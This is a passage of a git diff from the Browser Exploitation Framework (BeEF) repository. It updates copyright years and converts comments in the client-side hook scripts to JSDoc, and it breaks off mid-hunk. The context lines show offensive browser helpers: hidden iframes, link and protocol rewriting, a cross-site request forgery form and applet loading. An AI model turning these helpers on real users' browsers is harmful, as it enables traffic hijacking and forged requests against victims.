diff --git a/.gitignore b/.gitignore index d31fc6c38..167149607 100644 --- a/.gitignore +++ b/.gitignore @@ -110,3 +110,14 @@ $RECYCLE.BIN/ test/thirdparty/msf/unit/.byebug_history /load + +### JSDoc ### +# Dependency directories +node_modules/ + +# Generated files +out/ +doc/rdoc/ + +# User-specific files + diff --git a/Gemfile b/Gemfile index 430d1d57a..35aed970b 100644 --- a/Gemfile +++ b/Gemfile @@ -1,7 +1,7 @@ # BeEF's Gemfile # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/INSTALL.txt b/INSTALL.txt index edee536e7..830cd5f60 100644 --- a/INSTALL.txt +++ b/INSTALL.txt @@ -1,6 +1,6 @@ =============================================================================== - Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission diff --git a/README.md b/README.md index b5494e46e..30858a193 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ =============================================================================== - Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net + Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net Browser Exploitation Framework (BeEF) - http://beefproject.com See the file 'doc/COPYING' for copying permission diff --git a/Rakefile b/Rakefile index 7a07c5b1a..c5fdc3e90 100644 --- a/Rakefile +++ b/Rakefile @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/VERSION b/VERSION index a2864915a..a751910f6 100644 --- a/VERSION +++ b/VERSION @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/beef b/beef index 2286c191b..1c85abab3 100755 --- a/beef +++ b/beef @@ -1,7 +1,7 @@ #!/usr/bin/env ruby # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/conf.json b/conf.json new file mode 100644 index 000000000..e303a2edd --- /dev/null +++ b/conf.json @@ -0,0 +1,16 @@ +{ + "source": { + "include": ["./core/main/client"], + "includePattern": ".js$" + }, + "plugins": [ + "plugins/markdown" + ], + "opts": { + "encoding": "utf8", + "readme": "./README.md", + "destination": "docs/", + "recurse": true, + "verbose": true + } +} diff --git a/config.yaml b/config.yaml index c896e16c7..f6018fc30 100644 --- a/config.yaml +++ b/config.yaml @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api.rb b/core/api.rb index 917092d44..50f768fdd 100644 --- a/core/api.rb +++ b/core/api.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/extension.rb b/core/api/extension.rb index ba71696a4..669d90e9d 100644 --- a/core/api/extension.rb +++ b/core/api/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/extensions.rb b/core/api/extensions.rb index 217f3af51..0087dfa58 100644 --- a/core/api/extensions.rb +++ b/core/api/extensions.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/main/configuration.rb b/core/api/main/configuration.rb index 3fd1f8dca..a4ae7bdda 100644 --- a/core/api/main/configuration.rb +++ b/core/api/main/configuration.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/main/migration.rb b/core/api/main/migration.rb index 0add32fb1..7ae6e2631 100644 --- a/core/api/main/migration.rb +++ b/core/api/main/migration.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/main/network_stack/assethandler.rb b/core/api/main/network_stack/assethandler.rb index 4f6da48bf..b0a20b234 100644 --- a/core/api/main/network_stack/assethandler.rb +++ b/core/api/main/network_stack/assethandler.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/main/server.rb b/core/api/main/server.rb index e60bf817d..66dff57a8 100644 --- a/core/api/main/server.rb +++ b/core/api/main/server.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/main/server/hook.rb b/core/api/main/server/hook.rb index 983dfcf95..a85edfa6e 100644 --- a/core/api/main/server/hook.rb +++ b/core/api/main/server/hook.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/module.rb b/core/api/module.rb index f1d6c1239..3dac0b3dc 100644 --- a/core/api/module.rb +++ b/core/api/module.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/api/modules.rb b/core/api/modules.rb index 0c1f9c570..15bcb5449 100644 --- a/core/api/modules.rb +++ b/core/api/modules.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/bootstrap.rb b/core/bootstrap.rb index 2eb259cb7..094213a7b 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/core.rb b/core/core.rb index ca989944a..06df1002d 100644 --- a/core/core.rb +++ b/core/core.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/extension.rb b/core/extension.rb index 0e402bd84..90a140b43 100644 --- a/core/extension.rb +++ b/core/extension.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/extensions.rb b/core/extensions.rb index a7e2fabeb..087a2c28b 100644 --- a/core/extensions.rb +++ b/core/extensions.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/filters.rb b/core/filters.rb index 34f4d3e23..b9199192b 100644 --- a/core/filters.rb +++ b/core/filters.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/filters/base.rb b/core/filters/base.rb index e7a46d1bc..b97cbd92c 100644 --- a/core/filters/base.rb +++ b/core/filters/base.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 31b788ac3..7c021ad37 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/filters/command.rb b/core/filters/command.rb index c14cba3d6..f95508782 100644 --- a/core/filters/command.rb +++ b/core/filters/command.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/filters/http.rb b/core/filters/http.rb index bdf96cd4b..a2dfa20dc 100644 --- a/core/filters/http.rb +++ b/core/filters/http.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/filters/page.rb b/core/filters/page.rb index d824cfd31..492245422 100644 --- a/core/filters/page.rb +++ b/core/filters/page.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/hbmanager.rb b/core/hbmanager.rb index 047eb40b5..dc5d7cbea 100644 --- a/core/hbmanager.rb +++ b/core/hbmanager.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/loader.rb b/core/loader.rb index 22fb7d119..1d13bfcff 100644 --- a/core/loader.rb +++ b/core/loader.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/logger.rb b/core/logger.rb index 0d16bf497..6108696f1 100644 --- a/core/logger.rb +++ b/core/logger.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb index 679e8f01d..8e67211e7 100644 --- a/core/main/autorun_engine/engine.rb +++ b/core/main/autorun_engine/engine.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb index 43c05f24e..33753d148 100644 --- a/core/main/autorun_engine/parser.rb +++ b/core/main/autorun_engine/parser.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/autorun_engine/rule_loader.rb b/core/main/autorun_engine/rule_loader.rb index faed997c3..5991e605f 100644 --- a/core/main/autorun_engine/rule_loader.rb +++ b/core/main/autorun_engine/rule_loader.rb @@ -1,5 +1,5 @@ # -# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +# Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # diff --git a/core/main/client/are.js b/core/main/client/are.js index a3ee9f545..91e049c9c 100644 --- a/core/main/client/are.js +++ b/core/main/client/are.js @@ -1,16 +1,39 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // +/** + * A series of functions that handle statuses, returns a number based on the function called. + * @namespace beef.are + */ + beef.are = { + /** + * A function for handling a success status + * @memberof beef.are + * @method status_success + * @return {number} 1 + */ status_success: function(){ return 1; }, + /** + * A function for handling an unknown status + * @memberof beef.are + * @method status_unknown + * @return {number} 0 + */ status_unknown: function(){ return 0; }, + /** + * A function for handling an error status + * @memberof beef.are + * @method status_error + * @return {number} -1 + */ status_error: function(){ return -1; } diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 9216913ef..8572620b7 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -1,5 +1,5 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // @@ -13,23 +13,24 @@ $j = jQuery.noConflict(); if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { + /** + * Register the BeEF JS on the window object. + * @namespace {Object} BeefJS + * @property {string} version BeEf Version + * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write(). + * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method. + * @property {array} onclose An array containing functions to be executed by the window.onclose() method. + * @property {array} commands An array containing functions to be executed by Beef. + * @property {array} components An array containing all the BeEF JS components. + */ + var BeefJS = { - + version: '<%= @beef_version %>', - - // This get set to true during window.onload(). It's a useful hack when messing with document.write(). pageIsLoaded: false, - - // An array containing functions to be executed by the window.onpopstate() method. onpopstate: new Array(), - - // An array containing functions to be executed by the window.onclose() method. onclose: new Array(), - - // An array containing functions to be executed by Beef. commands: new Array(), - - // An array containing all the BeEF JS components. components: new Array(), /** @@ -37,8 +38,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { * @param: {string} the debug string to return */ debug: function(msg) { - if (!<%= @client_debug %>) return; - if (typeof console == "object" && typeof console.log == "function") { + isDebug = '<%= @client_debug %>' + if (typeof console == "object" && typeof console.log == "function" && isDebug.localeCompare("true")) { var currentdate = new Date(); var pad = function(n){return ("0" + n).slice(-2);} var datetime = currentdate.getFullYear() + "-" diff --git a/core/main/client/browser.js b/core/main/client/browser.js index b266bea74..fe5920efc 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -1,13 +1,12 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // /** - * @literal object: beef.browser - * * Basic browser functions. + * @namespace beef.browser */ beef.browser = { @@ -997,10 +996,13 @@ beef.browser = { /** * Returns true if Webkit based - * - * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions. */ + + isWebKitBased: function () { + /* + * **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions. + */ return (!window.opera && !window.chrome && window.navigator.userAgent.match(/ Version\/\d/) != null && !window.globalStorage @@ -4579,17 +4581,19 @@ beef.browser = { * This code is based on research from browserspy.dk * * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default} - * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes + * @return {Object} A jQuery deferred object promise, which when resolved passes * the number of connections to the callback function as "this" - * - * example usage: - * $j.when(getMaxConnections()).done(function(){ - * console.debug("Max Connections: " + this); - * }); - * */ - getMaxConnections: function (scope) { + + + getMaxConnections: function (scope) { + /* + * example usage: + * $j.when(getMaxConnections()).done(function(){ + * console.debug("Max Connections: " + this); + * }); + */ var imagesCount = 30; // Max number of images to test var secondsTimeout = 5; // Image load timeout threashold var testUrl = ""; // The image testing service URL diff --git a/core/main/client/browser/cookie.js b/core/main/client/browser/cookie.js index f9126f4ac..adf871687 100644 --- a/core/main/client/browser/cookie.js +++ b/core/main/client/browser/cookie.js @@ -1,19 +1,18 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.browser.cookie - * +/** * Provides fuctions for working with cookies. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php * Original author unknown. - * + * @namespace beef.browser.cookie */ beef.browser.cookie = { + /** @memberof beef.browser.cookie */ setCookie: function (name, value, expires, path, domain, secure) { @@ -32,7 +31,7 @@ beef.browser.cookie = { ( ( domain ) ? ";domain=" + domain : "" ) + ( ( secure ) ? ";secure" : "" ); }, - + /** @memberof beef.browser.cookie */ getCookie: function(name) { var a_all_cookies = document.cookie.split( ';' ); @@ -63,7 +62,7 @@ beef.browser.cookie = { return null; } }, - + /** @memberof beef.browser.cookie */ deleteCookie: function (name, path, domain) { if ( this.getCookie(name) ) document.cookie = name + "=" + @@ -72,7 +71,7 @@ beef.browser.cookie = { ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; }, - /* Never stop the madness dear C. */ + /** @memberof beef.browser.cookie */ veganLol: function (){ var to_hell= ''; var min = 17; @@ -99,7 +98,7 @@ beef.browser.cookie = { } return to_hell; }, - + /** @memberof beef.browser.cookie */ hasSessionCookies: function (name){ this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' ); @@ -108,7 +107,7 @@ beef.browser.cookie = { return cookiesEnabled; }, - + /** @memberof beef.browser.cookie */ hasPersistentCookies: function (name){ this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' ); diff --git a/core/main/client/browser/popup.js b/core/main/client/browser/popup.js index f2c6609b0..a47c2f5e3 100644 --- a/core/main/client/browser/popup.js +++ b/core/main/client/browser/popup.js @@ -1,19 +1,17 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.browser.popup - * +/** * Provides fuctions for working with cookies. * Several functions adopted from http://davidwalsh.name/popup-block-javascript * Original author unknown. - * + * @namespace beef.browser.popup */ beef.browser.popup = { - + /** @memberof beef.browser.popup */ blocker_enabled: function () { screenParams = beef.hardware.getScreenSize(); diff --git a/core/main/client/dom.js b/core/main/client/dom.js index 18d7edff1..58e63affa 100644 --- a/core/main/client/dom.js +++ b/core/main/client/dom.js @@ -1,20 +1,19 @@ // -// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net +// Copyright (c) 2006-2020 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // -/*! - * @literal object: beef.dom - * +/** * Provides functionality to manipulate the DOM. + * @namespace beef.dom */ beef.dom = { /** * Generates a random ID for HTML elements - * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-" - * @return: generated id + * @param {String} prefix a custom prefix before the random id. defaults to "beef-" + * @return {String} generated id */ generateID: function(prefix) { return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999); @@ -22,9 +21,9 @@ beef.dom = { /** * Creates a new element but does not append it to the DOM. - * @param: {String} the name of the element. - * @param: {Literal Object} the attributes of that element. - * @return: the created element. + * @param {String} type the name of the element. + * @param {Array} attributes the attributes of that element. + * @return {Array} the created element. */ createElement: function(type, attributes) { var el = document.createElement(type); @@ -40,7 +39,7 @@ beef.dom = { /** * Removes element from the DOM. - * @param: {String or DOM Object} the target element to be removed. + * @param {Object} el the target element to be removed. */ removeElement: function(el) { if (!beef.dom.isDOMElement(el)) @@ -54,8 +53,8 @@ beef.dom = { /** * Tests if the object is a DOM element. - * @param: {Object} the DOM element. - * @return: true if the object is a DOM element. + * @param {Object} the DOM element. + * @return {boolean} true if the object is a DOM element. */ isDOMElement: function(obj) { return (obj.nodeType) ? true : false; @@ -63,7 +62,7 @@ beef.dom = { /** * Creates an invisible iframe on the hook browser's page. - * @return: the iframe. + * @return {array} the iframe. */ createInvisibleIframe: function() { var iframe = this.createElement('iframe', { @@ -79,10 +78,10 @@ beef.dom = { /** * Returns the highest current z-index - * @param: {Boolean} whether to return an associative array with the height AND the ID of the element - * @return: {Integer} Highest z-index in the DOM + * @param {Boolean} whether to return an associative array with the height AND the ID of the element + * @return {Integer} Highest z-index in the DOM * OR - * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING} + * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING} */ getHighestZindex: function(include_id) { var highest = {'height':0, 'elem':''}; @@ -105,11 +104,11 @@ beef.dom = { * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter * is assigned to created iframe tag's src attribute resulting in GET request to that URI. * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null); - * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal - * @param: {Hash} params: list of params that will be sent in request. - * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter - * @param: {Function} a callback function to fire once the iFrame has loaded - * @return: {Object} the inserted iFrame + * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal + * @param {Hash} params: list of params that will be sent in request. + * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter + * @param {Function} a callback function to fire once the iFrame has loaded + * @return {Object} the inserted iFrame * */ createIframe: function(type, params, styles, onload) { @@ -150,8 +149,8 @@ beef.dom = { /** * Load a full screen div that is black, or, transparent - * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not - * @param: {Hash} options: a collection of options to customise how the div is configured, as follows: + * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not + * @param {Hash} options: a collection of options to customise how the div is configured, as follows: * opacity:0-100 // Lower number = less grayout higher = more of a blackout * // By default this is 70 * zindex: # // HTML elements with a higher zindex appear on top of the gray out @@ -219,9 +218,9 @@ beef.dom = { /** * Create a form element with the specified parameters, appending it to the DOM if append == true - * @param: {Hash} params: params to be applied to the form element - * @param: {Boolean} append: automatically append the form to the body - * @return: {Object} a form object + * @param {Hash} params: params to be applied to the form element + * @param {Boolean} append: automatically append the form to the body + * @return {Object} a form object */ createForm: function(params, append) { var form = $j('
').attr(params); @@ -239,7 +238,7 @@ beef.dom = { /** * Get the location of the current page. - * @return: the location. + * @return the location. */ getLocation: function() { return document.location.href; @@ -247,7 +246,7 @@ beef.dom = { /** * Get links of the current page. - * @return: array of URLs. + * @return array of URLs. */ getLinks: function() { var linksarray = []; @@ -260,9 +259,9 @@ beef.dom = { /** * Rewrites all links matched by selector to url, also rebinds the click method to simply return true - * @param: {String} url: the url to be rewritten - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} url: the url to be rewritten + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteLinks: function(url, selector) { var sel = (selector == null) ? 'a' : selector; @@ -277,9 +276,9 @@ beef.dom = { /** * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting. * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html - * @param: {String} url: the url to be rewritten - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} url: the url to be rewritten + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteLinksClickEvents: function(url, selector) { var sel = (selector == null) ? 'a' : selector; @@ -293,10 +292,10 @@ beef.dom = { /** * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http) - * @param: {String} old_protocol: the old link protocol to be rewritten - * @param: {String} new_protocol: the new link protocol to be written - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} old_protocol: the old link protocol to be rewritten + * @param {String} new_protocol: the new link protocol to be written + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteLinksProtocol: function(old_protocol, new_protocol, selector) { @@ -319,9 +318,9 @@ beef.dom = { /** * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number - * @param: {String} new_number: the new link telephone number to be written - * @param: {String} selector: the jquery selector statement to use, defaults to all a tags. - * @return: {Number} the amount of links found in the DOM and rewritten. + * @param {String} new_number: the new link telephone number to be written + * @param {String} selector: the jquery selector statement to use, defaults to all a tags. + * @return {Number} the amount of links found in the DOM and rewritten. */ rewriteTelLinks: function(new_number, selector) { @@ -343,9 +342,9 @@ beef.dom = { }, /** - * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed - * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}] - * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: ). + * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed + * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}] + * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: ). */ parseAppletParams: function(params){ var result = ''; @@ -364,11 +363,11 @@ beef.dom = { * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]); * example usage in the code, using codebase: * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null); - * @params: {String} id: reference identifier to the applet. - * @params: {String} code: name of the class to be loaded. For example, beef.class. - * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet). - * @params: {String} archive: the jar that contains the code. - * @params: {String} params: an array of additional params that the applet except. + * @param {String} id: reference identifier to the applet. + * @param {String} code: name of the class to be loaded. For example, beef.class. + * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet). + * @param {String} archive: the jar that contains the code. + * @param {String} params: an array of additional params that the applet except. */ attachApplet: function(id, name, code, codebase, archive, params) { var content = null; @@ -432,7 +431,7 @@ beef.dom = { /** * Given an id, remove the applet from the DOM. - * @params: {String} id: reference identifier to the applet. + * @param {String} id: reference identifier to the applet. */ detachApplet: function(id) { $j('#' + id + '').detach(); @@ -440,10 +439,10 @@ beef.dom = { /** * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests. - * @params: {String} action: the form action attribute, where the request will be sent. - * @params: {String} method: HTTP method, usually POST. - * @params: {String} enctype: form encoding type - * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value). + * @param {String} action: the form action attribute, where the request will be sent. + * @param {String} method: HTTP method, usually POST. + * @param {String} enctype: form encoding type + * @param {Array} inputs: an array of inputs to be added to the form (type, name, value). * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}] */ createIframeXsrfForm: function(action, method, enctype, inputs){ @@ -477,9 +476,9 @@ beef.dom = { /** * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation. - * @params: {String} rhost: remote host ip/domain - * @params: {String} rport: remote port - 